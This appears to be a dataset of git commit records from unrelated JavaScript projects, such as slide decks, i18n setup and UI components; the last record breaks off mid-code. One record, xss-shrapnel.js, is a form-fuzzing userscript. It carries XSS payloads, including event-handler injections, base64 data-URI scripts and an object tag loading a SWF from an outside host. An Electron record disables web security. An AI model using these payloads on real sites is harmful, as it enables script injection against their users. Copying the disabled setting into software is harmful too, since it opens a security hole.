commit
stringlengths
40
40
subject
stringlengths
1
3.25k
old_file
stringlengths
4
311
new_file
stringlengths
4
311
old_contents
stringlengths
0
26.3k
lang
stringclasses
3 values
proba
float64
0
1
diff
stringlengths
0
7.82k
c386ca8d113a51292a4e98d3fb0a29b46e4a63ef
change format to follow the same as other examples
examples/infrared.js
examples/infrared.js
// Any copyright is dedicated to the Public Domain. // http://creativecommons.org/publicdomain/zero/1.0/ /********************************************* This infrared module example transmits the power signal sequence of an Insignia brand television every three seconds, while also listening for (and logging) any incoming infrared data. *********************************************/ var tessel = require('tessel'); var infrared = require('../').use(tessel.port['A']); // Replace '../' with 'ir-attx4' in your own code // When we're connected infrared.on('ready', function() { if (!err) { console.log("Connected to IR!"); // Start sending a signal every three seconds setInterval(function() { // Make a buffer of on/off durations (each duration is 16 bits) var powerBuffer = new Buffer([0, 178, 255, 168, 0, 12, 255, 246, 0, 13, 255, 225, 0, 13, 255, 224, 0, 12, 255, 246, 0, 12, 255, 246, 0, 13, 255, 247, 0, 13, 255, 247, 0, 13, 255, 224, 0, 12, 255, 224, 0, 13, 255, 247, 0, 13, 255, 224, 0, 12, 255, 246, 0, 12, 255, 246, 0, 12, 255, 246, 0, 12, 255, 246, 0, 13, 255, 247, 0, 13, 255, 224, 0, 12, 255, 224, 0, 13, 255, 225, 0, 13, 255, 224, 0, 12, 255, 246, 0, 12, 255, 246, 0, 13, 255, 247, 0, 13, 255, 247, 0, 13, 255, 246, 0, 12, 255, 246, 0, 12, 255, 246, 0, 12, 255, 246, 0, 12, 255, 224, 0, 13, 255, 224, 0, 12, 255, 224, 0, 12, 255, 224, 0, 12]); // Send the signal at 38 kHz infrared.sendRawSignal(38, powerBuffer, function(err) { if (err) { console.log("Unable to send signal: ", err); } else { console.log("Signal sent!"); } }); }, 3000); // Every 3 seconds } else { console.log(err); } }); // If we get data, print it out infrared.on('data', function(data) { console.log("Received RX Data: ", data); });
JavaScript
0.000002
@@ -574,17 +574,18 @@ ion() %7B%0A -%09 + if (!err @@ -588,18 +588,20 @@ !err) %7B%0A -%09%09 + console. @@ -625,18 +625,20 @@ IR!%22);%0A -%09%09 + // Start @@ -675,18 +675,20 @@ seconds%0A -%09%09 + setInter @@ -704,19 +704,22 @@ ion() %7B%0A -%09%09%09 + // Make @@ -774,19 +774,22 @@ 6 bits)%0A -%09%09%09 + var powe @@ -1381,19 +1381,22 @@ , 12%5D);%0A -%09%09%09 + // Send @@ -1416,19 +1416,22 @@ 38 kHz%0A -%09%09%09 + infrared @@ -1478,20 +1478,24 @@ (err) %7B%0A -%09%09%09%09 + if (err) @@ -1497,21 +1497,26 @@ (err) %7B%0A -%09%09%09%09%09 + console. @@ -1552,20 +1552,24 @@ , err);%0A -%09%09%09%09 + %7D else %7B @@ -1573,13 +1573,18 @@ e %7B%0A -%09%09%09%09%09 + cons @@ -1612,23 +1612,32 @@ %22);%0A -%09%09%09%09%7D%0A%09%09%09%7D);%0A%09%09 + %7D%0A %7D);%0A %7D, 3 @@ -1661,17 +1661,18 @@ seconds%0A -%09 + %7D else %7B @@ -1676,10 +1676,12 @@ e %7B%0A -%09%09 + cons @@ -1694,17 +1694,18 @@ g(err);%0A -%09 + %7D%0A%7D);%0A%0A/
09d989a6ed1d3fb1641ec63e5c92e4f212882406
Update draft_button.spec.js
web-ui/test/spec/mail_view/ui/draft_button.spec.js
web-ui/test/spec/mail_view/ui/draft_button.spec.js
/* global Pixelated */ describeComponent('mail_view/ui/draft_button', function(){ 'use strict'; describe('draft save button', function(){ beforeEach(function(){ this.setupComponent('<button></button>'); }); describe('after initialize', function(){ it('should be enabled', function(){ expect(this.$node).toBeDisabled(); }); }); describe('when enabled', function(){ beforeEach(function(){ this.$node.prop('disabled', false); }); it('should be disabled when saving draft message', function(){ $(document).trigger(Pixelated.events.mail.saveDraft, {}); expect(this.$node).toBeDisabled(); }); }); describe('when disabled', function(){ beforeEach(function(){ this.$node.prop('disabled', true); }); it('should be enabled when draft message has been saved', function(){ $(document).trigger(Pixelated.events.mail.draftSaved, {}); expect(this.$node).not.toBeDisabled(); }); }); }); });
JavaScript
0
@@ -282,26 +282,27 @@ ('should be -en +dis abled', func
46e9cc6580872861d2780b44be61efeefc6780ab
Remove return address stuff from the frida script.
apitrace.js
apitrace.js
"use strict"; const beginEventAddr = Module.findExportByName("apitrace-d3d9.dll", "D3DPERF_BeginEvent"); const endEventAddr = Module.findExportByName("apitrace-d3d9.dll", "D3DPERF_EndEvent"); const D3DPERF_BeginEvent = new NativeFunction(beginEventAddr, "int", ["uint32", "pointer"], "stdcall"); const D3DPERF_EndEvent = new NativeFunction(endEventAddr, "int", [], "stdcall"); const ffviiDllBase = Module.findBaseAddress("AF3DN2.P"); const idaBase = ptr(0x10000000); function resolveAddr(addr) { const offset = ptr(addr).sub(idaBase); return ffviiDllBase.add(offset); } function beginEvent(name, numArgs, args, returnAddr) { let s = name + "("; for (let i = 0; i < numArgs; i++) { if (i > 0) { s += ", "; } s += "0x" + args[i].toString(16); } if (returnAddr.compare(ffviiDllBase) > 0) { s += ") (return to af3dn+0x" + returnAddr.sub(ffviiDllBase).toString(16) + ")"; } else { s += ") (return to 0x" + returnAddr.toString(16) + ")"; } let buf = Memory.allocUtf16String(s); D3DPERF_BeginEvent(0, buf); } let functions = { GfxFn_0: { address: 0x10001850, numArgs: 1 }, Shutdown: { address: 0x100018b0, numArgs: 1 }, GfxFn_8_C: { address: 0x100019b0, numArgs: 0 }, EndFrame: { address: 0x10001cb0, numArgs: 1 }, Clear: { address: 0x10002460, numArgs: 2 }, ClearAll: { address: 0x100025c0, numArgs: 0 }, SetScissor: { address: 0x100025e0, numArgs: 4 }, SetClearColor: { address: 0x10002810, numArgs: 1 }, GfxFn_40: { address: 0x100028b0, numArgs: 1 }, GfxFn_44: { address: 0x10002920, numArgs: 0 }, GfxFn_48: { address: 0x10002930, numArgs: 3 }, GfxFn_4C: { address: 0x100029a0, numArgs: 1 }, CreateTexture: { address: 0x10003380, numArgs: 3 }, GfxFn_54: { address: 0x10003a40, numArgs: 5 }, GfxFn_58: { address: 0x10003ab0, numArgs: 6 }, GfxFn_5C: { address: 0x10003db0, numArgs: 1 }, SetRenderState: { address: 0x10003e00, numArgs: 3 }, SetupRenderState: { address: 0x10003fd0, numArgs: 2 }, GfxFn_74: { address: 0x10004370, numArgs: 2 }, DrawMesh: { address: 0x100043b0, numArgs: 2 }, GfxFn_7C: { address: 0x100043e0, numArgs: 2 }, GfxFn_80: { address: 0x100044d0, numArgs: 2 }, GfxFn_84: { address: 0x10004530, numArgs: 2 }, GfxFn_88: { address: 0x10004640, numArgs: 2 }, ResetState: { address: 0x100046e0, numArgs: 1 }, GfxFn_90: { address: 0x10004760, numArgs: 0 }, DrawTiles: { address: 0x10004ae0, numArgs: 2 }, DrawTiles2: { address: 0x10004c00, numArgs: 2 }, DrawModel2: { address: 0x10004ac0, numArgs: 2 }, DrawModel3: { address: 0x10004be0, numArgs: 2 }, SetupRenderState2: { address: 0x10004a60, numArgs: 3 }, SetupRenderState3: { address: 0x10004b00, numArgs: 3 }, GfxFn_E4_E8: { address: 0x10004c20, numArgs: 2 }, GfxFn_EC: { address: 0x10004c90, numArgs: 0 }, Draw: { address: 0x1000b6a0, numArgs: 8 }, UseTexture: { address: 0x1000ce30, numArgs: 1, fastcall: true }, SetTexture: { address: 0x1000ceb0 } }; for (let name in functions) { Interceptor.attach(resolveAddr(functions[name].address), { onEnter: function (args) { if (functions[name].fastcall) { args = [this.context.ecx, this.context.edx]; } beginEvent(name, functions[name].numArgs, args, this.returnAddress); }, onLeave: function (args) { D3DPERF_EndEvent(); } }); }
JavaScript
0
@@ -804,228 +804,8 @@ %7D%0A%0A - if (returnAddr.compare(ffviiDllBase) %3E 0) %7B%0A s += %22) (return to af3dn+0x%22 + returnAddr.sub(ffviiDllBase).toString(16) + %22)%22;%0A %7D else %7B%0A s += %22) (return to 0x%22 + returnAddr.toString(16) + %22)%22;%0A %7D%0A%0A
9241bbbff54d5f465f498c5d06c5205f48139d34
Update xss-shrapnel.js
xss-shrapnel.js
xss-shrapnel.js
// ==UserScript== // @name XSS Shrapnel // @namespace * // @description aaa"bbb'ccc<ddd>zzz // @include * // @version 2.4 // @grant none // ==/UserScript== var bForceUrlEncoded = 1 var bFillHiddenForms = 0 var iPayload = 0 var aPayloads = ['aaa"bbb\'{{3*3}}<ddd>zzz', 'aaa"{{3*3}}\'zzz', 'aaa"{{3*3}}zzz', 'aaa\\"bbb\\\'>ccc<<ddd>ddd<ddd>>zzz<fff', 'aaa\\"bbb\\\'ccc<ddd >zzz</fff>', '</title></textarea>aaa"bbb\'ccc<ddd>zzz', 'aaa"><svg onload=alert(document.domain)>zzz', 'aaa" autofocus onfocus="alert(document.domain)"zzz', 'aaa" onmouseover="alert(document.domain)"zzz', 'aaa" accesskey=x onclick="alert(document.domain)"zzz', 'aaa\'-alert(document.domain)-\'zzz', 'aaa"-alert(document.domain)-"zzz', 'aaa"><video src onratechange=prompt(document.domain)>zzz', 'aaa"><xxx onbeforescriptexecute=prompt(document.domain)>zzz', 'aaa"><object allowscriptaccess=always data=http://spqr.zz.mu/xss.swf>zzz', 'aaa"><meta http-equiv=refresh content="0;URL=http://youtu.be/dQw4w9WgXcQ">zzz', 'aaa"><form action=data:xxx;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+>zzz', 'aaa"><a href=data:xxx;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+>XSS</a>zzz'] var regex = /.{0,100}aaa.{0,130}?zzz.{0,100}/gi window.addEventListener ( 'keydown', function (e) { if (e.altKey || e.modifiers) { if (e.keyCode == 72) { var sPrompt = prompt ('Fill hidden forms?', bFillHiddenForms) sPrompt === null || (bFillHiddenForms = parseInt (sPrompt)) } if (e.keyCode == 80) { var sPrompt = prompt ('Set payload', iPayload) if (sPrompt !== null) { if (isNaN (+sPrompt)) { iPayload = InArray (aPayloads, sPrompt) if (iPayload == -1) { aPayloads.push (sPrompt) iPayload = aPayloads.indexOf (sPrompt) } } else iPayload = parseInt (sPrompt) % aPayloads.length } prompt ('Payload', aPayloads [iPayload]) } if (e.target.form) { var parentForm = e.target.form e.keyCode == 83 && submitForm (parentForm) e.keyCode == 65 && fillForm (parentForm) && submitForm (parentForm) } if (e.keyCode == 70) fillForms () if (e.keyCode == 82) checkResults () } }, false ) window.addEventListener ('DOMContentLoaded', checkResults, false) window.addEventListener ('load', checkResults, false) function checkResults () { var matches = document.getElementsByTagName ('html') [0].innerHTML.match (regex) if (matches instanceof Array) { matches = matches.join ('\r\n\r\n').split (/([\s\S]{10000})/) matches.forEach (function (i) {i && alert (i)}) } } function fillForms () { for (var i = 0; i < document.forms.length; i++) { var form = document.forms [i] form.target = '_blank' fillForm (form) && submitForm (form) } } function submitForm (form) { var aPostData = [] for (var i = 0; i < form.length; i++) { var sPostData = encodeURIComponent (form [i].name) + '=' + encodeURIComponent (form [i].value) form [i].name && aPostData.indexOf (sPostData) == -1 && aPostData.push (sPostData) } bForceUrlEncoded && (form.enctype = 'application/x-www-form-urlencoded') // var sFormAction = form.getAttribute ('action') // // if (!/^https?:\/\//.test (sFormAction)) // sFormAction = /\/\//.test (sFormAction) ? location.protocol + sFormAction : location.origin + sFormAction var sFormAction = form.action ? form.action : location.origin + location.pathname var sDelimeter = form.getAttribute ('method').toLowerCase () == 'post' ? '\r\n\r\n' : '?' var sFormData = sFormAction + sDelimeter + aPostData.join ('&') confirm (sFormData) && HTMLFormElement.prototype.submit.call (form) } function fillForm (form) { for (var i = 0; i < form.length; i++) { var element = form [i] var payload = aPayloads [iPayload] if (element.tagName == 'SELECT' || element.type == 'file') { element.outerHTML = '<input name="' + htmlEncode (element.name) + '" value="' + htmlEncode (payload) + '" />' continue } if (!bFillHiddenForms && element.type == 'hidden') continue element.value = payload } return 1 } function htmlEncode (str) { return str.replace (/</g, '&lt;').replace (/>/g, '&gt;').replace (/"/g, '&quot;').replace (/'/g, '&#39;') } function InArray (arr, elem) { for (var i = 0; i < arr.length; i++) if (arr [i].indexOf (elem) + 1) return i return -1 }
JavaScript
0
@@ -130,17 +130,17 @@ n 2. -4 +5 %0A// @gra
8235559e7e48c72ea1844b8ecb9d3d7eb0a5c298
Configure mongodb URL
config/db.js
config/db.js
var mongoose = require("mongoose"); mongoose.connect("mongodb://localhost/whatsup", function () { console.log("mongodb connected"); }); module.exports = mongoose;
JavaScript
0.000001
@@ -34,25 +34,46 @@ );%0A%0A -mongoose.connect( +var url = process.env.MONGOLAB_URI %7C%7C %22mon @@ -97,16 +97,39 @@ whatsup%22 +;%0A%0Amongoose.connect(url , functi
63d689f272818a184c54759d5806f66324f5edc8
Add delete vertex property to ignore list
web/war/src/main/webapp/js/data/withAjaxFilters.js
web/war/src/main/webapp/js/data/withAjaxFilters.js
define([], function() { var // keypaths to vertices objects in ajax responses VERTICES_RESPONSE_KEYPATHS = ['vertices', 'data.vertices'], IGNORE_NO_CONVERTER_FOUND_REGEXS = [ /^user/, /^configuration$/, /^workspaces?$/, /^workspace\?/, /^workspace\/create/, /^workspace\/all/, /^workspace\/diff/, /^workspace\/edges/, /^workspace\/update/, /^workspace\/publish/, /^workspace\/undo/, /^map\/geocode/, /^terms$/, /^logout$/, /^admin/, /^login/, /^vertex\/remove-edge/, /^vertex\/(un)?resolve/, /^vertex\/import/, /^vertex\/audit/, /^edge/ ], // Custom converters for routes that are more complicated than above, // call updateCacheWithVertex and append to updated, return // true if handled JSON_CONVERTERS = [ function vertexProperties(json, updated) { if (!json.sourceVertexId && _.isString(json.id) && _.isObject(json.properties) && _.keys(json.properties).length) { updated.push( this.updateCacheWithVertex(json, { returnNullIfNotChanged: true }) ); return true; } }, function vertexRelationships(json, updated) { var self = this; if (json.relationships) { json.relationships.forEach(function(relationship) { if (relationship.vertex) { updated.push( self.updateCacheWithVertex(relationship.vertex, { returnNullIfNotChanged: true }) ); } }); return true; } }, function findPath(json, updated) { var self = this; if (json.paths) { json.paths.forEach(function(path) { path.forEach(function(vertex) { updated.push( self.updateCacheWithVertex(vertex, { returnNullIfNotChanged: true }) ); }); }); return true; } }, function vertexProperties(json, updated) { if (json.vertex && json.vertex.id && json.properties) { updated.push(this.updateCacheWithVertex(json.vertex, { returnNullIfNotChanged: true })); return true; } else if (json.vertex && json.vertex.graphVertexId && json.properties) { updated.push( this.updateCacheWithVertex({ id: json.vertex.graphVertexId, properties: json.properties }, { returnNullIfNotChanged: true }) ); return true; } }, function verticesRoot(json, updated) { var self = this; if (_.isArray(json) && json.length && json[0].id && json[0].properties) { json.forEach(function(vertex) { updated.push( self.updateCacheWithVertex(vertex, { returnNullIfNotChanged: true }) ); }); return true; } } ]; return withCacheUpdatingAjaxFilters; function withCacheUpdatingAjaxFilters() { this.after('initialize', function() { this.setupAjaxPrefilter(); }); this.setupAjaxPrefilter = function() { var self = this; // Attach converter to ajax requests to merge with cachedVertices, // sending updateVertices events $.ajaxPrefilter(function(options, originalOptions, xhr) { var jsonConverter = options.converters['text json']; options.converters['text json'] = function(data) { var json = jsonConverter(data); try { var updated = [], converterFound = _.any(JSON_CONVERTERS, function(c) { if (!json) return; var result = c.call(self, json, updated); return result === true; }); if (!converterFound && _.keys(json).length) { var keypathFound = false; VERTICES_RESPONSE_KEYPATHS.forEach(function(paths) { var val = json, components = paths.indexOf('.') === -1 ? [paths] : paths.split('.'); while (val && components.length) { val = val[components.shift()]; } if (val && _.isArray(val) && val.length === 0) { keypathFound = true; } // Found vertices if (val && self.resemblesVertices(val)) { keypathFound = true; val.forEach(function(v) { updated.push(self.updateCacheWithVertex(v, { returnNullIfNotChanged: true })); }); } else if (!keypathFound) { keypathFound = true; // Might be an error if we didn't match and // getting vertices without updating cache // and applying patches if ( !_.some(IGNORE_NO_CONVERTER_FOUND_REGEXS, function(regex) { return regex.test(options.url); }) ) { console.warn('No converter applied for url:', options.url); } } }); } updated = _.compact(updated); if (updated.length) { _.defer(function() { self.trigger('verticesUpdated', { vertices: updated }); }); } } catch(e) { console.error('Request failed in prefilter cache phase', e.stack || e.message, options.url); } return json; }; }); }; } });
JavaScript
0
@@ -781,24 +781,57 @@ ex%5C/audit/,%0A + /%5Evertex%5C/property/,%0A
99f939bf5fddfad5f6ce314aa0303db21dc81316
Remove trailing comma
examples/js/index.js
examples/js/index.js
import React from 'react'; import ReactDOM from 'react-dom'; import { Appear, Box, CodePane, CodeSpan, Deck, FlexBox, FullScreen, Grid, Heading, Image, ListItem, Markdown, Notes, OrderedList, Progress, Slide, SpectacleLogo, Stepper, Text, indentNormalizer, } from 'spectacle'; // SPECTACLE_CLI_THEME_START const theme = { fonts: { header: '"Open Sans Condensed", Helvetica, Arial, sans-serif', text: '"Open Sans Condensed", Helvetica, Arial, sans-serif' } }; // SPECTACLE_CLI_THEME_END // SPECTACLE_CLI_TEMPLATE_START const template = () => ( <FlexBox justifyContent="space-between" position="absolute" bottom={0} width={1} > <Box padding="0 1em"> <FullScreen /> </Box> <Box padding="1em"> <Progress /> </Box> </FlexBox> ); // SPECTACLE_CLI_TEMPLATE_END const formidableLogo = 'https://avatars2.githubusercontent.com/u/5078602?s=280&v=4'; const cppCodeBlock = indentNormalizer(` #include <iostream> #include <cstdlib> #include <sstream> #include <pthread.h> struct thread_data_t { int thread_id; std::string message; }; void *print_thread_message(void *thread_arg) { struct thread_data_t *thread_data; thread_data = (struct thread_data_t *) thread_arg; cout << "Thread ID: " << thread_data->thread_id; cout << "Message: " << thread_data->message << endl; pthread_exit(NULL); } int main() { pthread_t threads[NUM_THREADS]; struct thread_data_t thread_data[NUM_THREADS]; for (int i = 0; i < NUM_THREADS; i++) { auto curried_add = [](int x) -> function<int(int)> { return [=](int y) { return x + y; }; }; auto answer = curried_add(i)(5); std::stringstream message; message << "The math result is " << answer << "!"; thread_data.thread_id = i; thread_data.message = message.str(); int err = pthread_create(&threads, NULL, print_thread_message, (void *)&thread_data[i]); if (err) { exit(-1) } } return 0; }`); const Presentation = () => ( <Deck theme={theme} template={template} transitionEffect="fade"> <Slide> <FlexBox height="100%"> <SpectacleLogo size={500} /> </FlexBox> </Slide> <Slide> <FlexBox height="100%" flexDirection="column"> <Heading margin="0px" fontSize="150px"> SPECTACLE </Heading> <Heading margin="0px" fontSize="h2"> A ReactJS Presentation Library </Heading> <Heading margin="0px 32px" color="primary" fontSize="h3"> Where you can write your decks in JSX, Markdown, or MDX! </Heading> </FlexBox> <Notes> <p> Notes are shown in presenter mode. Open up localhost:3000/?presenterMode=true to see them. </p> </Notes> </Slide> <Slide transitionEffect="slide"> <Heading>Code Blocks</Heading> <Stepper defaultValue={[]} values={[ [1, 1], [23, 25], [40, 42] ]} > {(value, step) => ( <Box position="relative"> <CodePane highlightStart={value[0]} highlightEnd={value[1]} fontSize={18} language="cpp" autoFillHeight > {cppCodeBlock} </CodePane> <Box position="absolute" bottom="0rem" left="0rem" right="0rem" bg="black" > {/* This notes container won't appear for step 0 */} {step === 1 && ( <Text fontSize="1.5rem" margin="0rem"> This is a note! </Text> )} {step === 2 && ( <Text fontSize="1.5rem" margin="0rem"> You can use the stepper state to render whatever you like as you step through the code. </Text> )} </Box> </Box> )} </Stepper> <Text> Code Blocks now auto size and scroll when there is an overflow of content! They also auto-wrap longer lines. </Text> </Slide> <Slide> <Heading>Animated Elements</Heading> <OrderedList> <Appear elementNum={0}> <ListItem>Elements can animate in!</ListItem> </Appear> <Appear elementNum={2}> <ListItem> Just identify the order with the prop{' '} <CodeSpan>elementNum</CodeSpan>! </ListItem> </Appear> <Appear elementNum={1}> <ListItem>Out of order</ListItem> </Appear> </OrderedList> </Slide> <Slide> <FlexBox> <Text>These</Text> <Text>Text</Text> <Text color="secondary">Items</Text> <Text fontWeight="bold">Flex</Text> </FlexBox> <Grid gridTemplateColumns="1fr 2fr" gridColumnGap={15}> <Box backgroundColor="primary"> <Text color="secondary">Single-size Grid Item</Text> </Box> <Box backgroundColor="secondary"> <Text>Double-size Grid Item</Text> </Box> </Grid> <Grid gridTemplateColumns="1fr 1fr 1fr" gridTemplateRows="1fr 1fr 1fr" alignItems="center" justifyContent="center" gridRowGap={1} > {Array(9) .fill('') .map((_, index) => ( <FlexBox paddingTop={0} key={`formidable-logo-${index}`} flex={1}> <Image src={formidableLogo} width={100} /> </FlexBox> ))} </Grid> </Slide> <Slide> <Markdown> {` # Layout Tables in Markdown | Browser | Supported | Versions | |-----------------|-----------|----------| | Chrome | Yes | Last 2 | | Firefox | Yes | Last 2 | | Opera | Yes | Last 2 | | Edge (EdgeHTML) | No | | | IE 11 | No | | `} </Markdown> </Slide> <Markdown containsSlides> {` ### Even write multiple slides in Markdown > Wonderfully formatted quotes 1. Even create 2. Lists in Markdown - Or Unordered Lists - Too!! Notes: These are notes --- ### This slide was also generated in Markdown! \`\`\`jsx const evenCooler = "is that you can do code in Markdown"; // You can even specify the syntax type! \`\`\` ### A slide can have multiple code blocks too. \`\`\`c char[] someString = "Popular languages like C too!"; \`\`\` Notes: These are more notes `} </Markdown> </Deck> ); ReactDOM.render(<Presentation />, document.getElementById('root'));
JavaScript
0.999402
@@ -289,17 +289,16 @@ rmalizer -, %0A%7D from
7ac148b9905bf2e8e9b1bd149d4ac1a8040013a6
add ro language
app/i18n.js
app/i18n.js
/** * i18n.js * * This will setup the i18n language files and locale data for your app. * */ import { addLocaleData } from 'react-intl' import bg from 'react-intl/locale-data/bg' import en from 'react-intl/locale-data/en' import nl from 'react-intl/locale-data/nl' import es from 'react-intl/locale-data/es' import fr from 'react-intl/locale-data/fr' import it from 'react-intl/locale-data/it' import de from 'react-intl/locale-data/de' import pt from 'react-intl/locale-data/pt' import he from 'react-intl/locale-data/he' import hr from 'react-intl/locale-data/hr' import ca from 'react-intl/locale-data/ca' import gl from 'react-intl/locale-data/gl' import ru from 'react-intl/locale-data/ru' import ar from 'react-intl/locale-data/ar' import eu from 'react-intl/locale-data/eu' import zh from 'react-intl/locale-data/zh' import af from 'react-intl/locale-data/af' import { DEFAULT_LOCALE, appLocales } from './containers/App/constants' import enTranslationMessages from './translations/en.json' import bgTranslationMessages from './translations/bg.json' import nlTranslationMessages from './translations/nl.json' import esTranslationMessages from './translations/es.json' import frTranslationMessages from './translations/fr.json' import itTranslationMessages from './translations/it.json' import deTranslationMessages from './translations/de.json' import ptTranslationMessages from './translations/pt.json' import heTranslationMessages from './translations/he.json' import hrTranslationMessages from './translations/hr.json' import caTranslationMessages from './translations/ca.json' import glTranslationMessages from './translations/gl.json' import ruTranslationMessages from './translations/ru.json' import arTranslationMessages from './translations/ar.json' import euTranslationMessages from './translations/eu.json' import valTranslationMessages from './translations/val.json' import zhTranslationMessages from './translations/zh.json' import afTranslationMessages from './translations/af.json' addLocaleData([ ...en, ...bg, ...es, ...fr, ...it, ...de, ...pt, ...he, ...hr, ...ca, ...gl, ...ru, ...ar, ...eu, ...zh, ...af ]) export const formatTranslationMessages = (locale, messages) => { const defaultFormattedMessages = locale !== DEFAULT_LOCALE ? formatTranslationMessages(DEFAULT_LOCALE, enTranslationMessages) : {} return Object.keys(messages).reduce((formattedMessages, key) => { let message = messages[key] if (!message && locale !== DEFAULT_LOCALE) { message = defaultFormattedMessages[key] } return Object.assign(formattedMessages, { [key]: message }) }, {}) } export const translationMessages = { en: formatTranslationMessages('en', enTranslationMessages), bg: formatTranslationMessages('bg', bgTranslationMessages), br: formatTranslationMessages('br', ptTranslationMessages), es: formatTranslationMessages('es', esTranslationMessages), fr: formatTranslationMessages('fr', frTranslationMessages), it: formatTranslationMessages('it', itTranslationMessages), de: formatTranslationMessages('de', deTranslationMessages), nl: formatTranslationMessages('nl', nlTranslationMessages), pt: formatTranslationMessages('pt', ptTranslationMessages), he: formatTranslationMessages('he', heTranslationMessages), hr: formatTranslationMessages('hr', hrTranslationMessages), ca: formatTranslationMessages('ca', caTranslationMessages), gl: formatTranslationMessages('gl', glTranslationMessages), ru: formatTranslationMessages('ru', ruTranslationMessages), ar: formatTranslationMessages('ar', arTranslationMessages), eu: formatTranslationMessages('eu', euTranslationMessages), val: formatTranslationMessages('val', valTranslationMessages), zh: formatTranslationMessages('zh', zhTranslationMessages), af: formatTranslationMessages('af', afTranslationMessages), }
JavaScript
0.999994
@@ -650,16 +650,59 @@ ata/gl'%0A +import ro from 'react-intl/locale-data/ro'%0A import r @@ -736,16 +736,16 @@ ata/ru'%0A - import a @@ -1685,24 +1685,83 @@ ns/gl.json'%0A +import roTranslationMessages from './translations/ro.json'%0A import ruTra @@ -2220,16 +2220,25 @@ ...gl,%0A + ...ro,%0A ...ru, @@ -3549,16 +3549,16 @@ sages),%0A - gl: fo @@ -3611,16 +3611,78 @@ sages),%0A + ro: formatTranslationMessages('ro', roTranslationMessages),%0A ru: fo
abe48517f01b6f02ff6e592d31697bca682487b9
update HuePicker
src/HuePicker/HuePicker.js
src/HuePicker/HuePicker.js
/** * @file HuePicker component * @author liangxiaojun([email protected]) */ import React, {Component} from 'react'; import PropTypes from 'prop-types'; import classNames from 'classnames'; import Event from '../_vendors/Event'; import Dom from '../_vendors/Dom'; import Valid from '../_vendors/Valid'; import ComponentUtil from '../_vendors/ComponentUtil'; class HuePicker extends Component { constructor(props, ...restArgs) { super(props, ...restArgs); this.activated = false; this.state = { value: props.value }; } /** * get slider css left by hue value * @param value * @returns {number} */ calcSliderLeft = (value = this.state.value) => { const barEl = this.huePickerBarEl, sliderEl = this.huePickerSliderEl; if (!value || !barEl || !sliderEl) { return 0; } const barWidth = barEl.offsetWidth, sliderWidth = sliderEl.offsetWidth, width = barWidth - sliderWidth; return value / 360 * width; }; mouseDownHandler = e => { this.activated = true; this.handleChange(e.pageX); }; mouseMoveHandler = e => { if (this.activated) { this.handleChange(e.pageX); } }; mouseUpHandler = () => { this.activated = false; }; /** * handle mouse event change * @param mouseX */ handleChange = mouseX => { const elOffset = Dom.getOffset(this.huePickerBarEl); if (!elOffset) { return; } const {scrollEl} = this.props, {left} = Dom.getTotalScrollOffset(this.huePickerBarEl, scrollEl), barWidth = this.huePickerBarEl.offsetWidth, sliderWidth = this.huePickerSliderEl.offsetWidth, halfSliderWidth = sliderWidth / 2, width = barWidth - sliderWidth, offsetX = Valid.range(mouseX - elOffset.left - halfSliderWidth + left, 0, width), perCent = offsetX / width, value = Math.round(perCent * 360); this.setState({ value }, () => { const {onChange} = this.props; onChange && onChange(value); }); }; componentDidMount() { this.huePickerBarEl = this.refs.huePickerBar; this.huePickerSliderEl = this.refs.huePickerSlider; Event.addEvent(document, 'mousemove', this.mouseMoveHandler); Event.addEvent(document, 'mouseup', this.mouseUpHandler); } componentWillUnmount() { Event.removeEvent(document, 'mousemove', this.mouseMoveHandler); Event.removeEvent(document, 'mouseup', this.mouseUpHandler); } static getDerivedStateFromProps(props, state) { return { prevProps: props, value: Math.round(ComponentUtil.getDerivedState(props, state, 'value')) }; } render() { const {className, style} = this.props, pickerClassName = classNames('hue-picker', { [className]: className }); return ( <div className={pickerClassName} style={style}> <div ref="huePickerBar" className="hue-picker-bar" onMouseDown={this.mouseDownHandler}> <div ref="huePickerSlider" className="hue-picker-slider" style={{left: this.calcSliderLeft()}}></div> </div> </div> ); } } HuePicker.propTypes = { /** * The CSS class name of the root element. */ className: PropTypes.string, /** * Override the styles of the root element. */ style: PropTypes.object, /** * hue value (deg). */ value: PropTypes.number, scrollEl: PropTypes.object, onChange: PropTypes.func }; HuePicker.defaultProps = { value: 0, scrollEl: document.body }; export default HuePicker;
JavaScript
0
@@ -1619,45 +1619,8 @@ nst -%7BscrollEl%7D = this.props,%0A %7Blef @@ -1635,19 +1635,8 @@ .get -TotalScroll Offs @@ -1661,18 +1661,8 @@ arEl -, scrollEl ),%0A @@ -3825,41 +3825,8 @@ r,%0A%0A - scrollEl: PropTypes.object,%0A%0A @@ -3898,37 +3898,8 @@ e: 0 -,%0A scrollEl: document.body %0A%7D;%0A
b58caa6f7e5fa785f2fc36e6f397c3dbdc6f2809
Bump release URL
app/main.js
app/main.js
'use strict'; var app = require('app'); var BrowserWindow = require('browser-window'); var Menu = require("menu"); var env = require('./vendor/electron_boilerplate/env_config'); var menuTemplate = require('./menu_template')(app); var windowStateKeeper = require('./vendor/electron_boilerplate/window_state'); var shell = require('shell'); var path = require('path'); var electron = require('electron'); var ipc = electron.ipcMain; var autoUpdater = electron.autoUpdater; var mainWindow; // Preserver of the window size and position between app launches. var mainWindowState = windowStateKeeper('main', { width: 1000, height: 600 }); app.on('ready', function () { mainWindow = new BrowserWindow({ x: mainWindowState.x, y: mainWindowState.y, width: mainWindowState.width, height: mainWindowState.height, "node-integration": false, "web-preferences": { "web-security": false, // remove this line to enable CSP "preload": path.join(__dirname, 'expose-window-apis.js') } }); if (mainWindowState.isMaximized) { mainWindow.maximize(); } mainWindow.log = function(text) { mainWindow.webContents.executeJavaScript('console.log("' + text + '");'); } mainWindow.log("version: " + app.getVersion()); mainWindow.webContents.on('did-finish-load', function(event) { this.executeJavaScript("s = document.createElement('script');s.setAttribute('src','localhax://slack-hacks-loader.js'); document.head.appendChild(s);"); }); mainWindow.webContents.on('new-window', function(e, url) { e.preventDefault(); shell.openExternal(url); }); mainWindow.loadURL('https://my.slack.com/ssb'); var menu = Menu.buildFromTemplate(menuTemplate); Menu.setApplicationMenu(menu); var versionMenuItem = menu.items[0].submenu.items[1]; mainWindow.log("hello from the master process"); var auresponse = function(which, message) { return function(arg1) { mainWindow.log("au event: " + which); mainWindow.log(message); } } if (env.name != "development") { autoUpdater.setFeedURL("https://obscure-fjord-9578.herokuapp.com/updates?version=" + app.getVersion()); autoUpdater.checkForUpdates(); autoUpdater.on('error', 